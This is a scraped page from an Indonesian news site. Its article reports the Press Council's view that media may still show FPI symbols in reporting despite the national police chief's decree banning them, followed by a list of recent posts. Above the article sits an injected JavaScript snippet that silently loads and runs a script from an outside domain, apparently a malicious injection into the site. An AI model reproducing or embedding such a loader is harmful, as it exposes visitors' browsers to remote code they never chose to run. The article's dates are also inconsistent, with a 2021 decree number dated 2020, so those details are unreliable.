(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: NASIONAL

Dilarang Kapolri, Dewan Pers Bolehkan Media Gunakan Simbol FPI untuk Berita


KANALKALIMANTAN.COM, JAKARTA – Jenderal Pol Idham Aziz menerbitkan Maklumat Kepala Kepolisian di mana salah satu poin di dalamnya ada pelarangan penggunaan simbol dan atribut Front Pembela Islam (FPI).

Menanggapi hal tersebut, Ketua Penelitian Pendataan Ratifikasi Pers Dewan Pers Ahmad Djauhar mengatakan bahwa media tetap bisa menggunakan simbol FPI untuk kepentingan pemberitaan.

Ahmad menjelaskan bahwa Maklumat Kapolri tersebut kedudukannya tidak lebih tinggi daripada Undang-undang. Dengan begitu, apabila media hendak memberitakan soal FPI berikut dengan simbolnya pun diperbolehkan.

“Sepanjang memenuhi prinsip jurnalistik dan tetap sesuai kode etik jurnalistik (KEJ), ya silakan tetap melakukannya,” jelas Ahmad saat dihubungi Suara.com, Sabtu (2/1/2020).

Apalagi hal tersebut didukung dengan faktanya kuat dan informasinya pun telah terverifikasi. Maka media tersebut sudah menayangkan pemberitaan yang sesuai dengan UU Nomor 40 Tahun 1999 tentang Pers.

“Kan publik berhak tahu tentang segala sesuatu, dan hal ini dijamin konstitusi.”

Sebelumnya, Jenderal Idham Azis menerbitkan Maklumat Kepala Kepolisian Indonesia Nomor: Mak/1/I/2021 Tentang Kepatuhan Terhadap Larangan Kegiatan, Penggunaan Simbol dan Atribut serta Penghentian Kegiatan Front Pembela Islam (FPI) tertanggal 1 Januari 2020.

Dalam salah satu poin maklumat tersebut disebutkan bahwa masyarakat diminta tidak mengakses, mengunggah, dan menyebarluaskan konten terkait FPI baik melalui website maupun media sosial.

Jika ditemukan perbuatan yang bertentangan dengan maklumat ini, maka setiap anggota Polri wajib melakukan tindakan yang diperlukan sesuai dengan ketentuan peraturan perundang-undangan, ataupun diskresi Kepolisian.(Suara)

Editor : Suara 


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.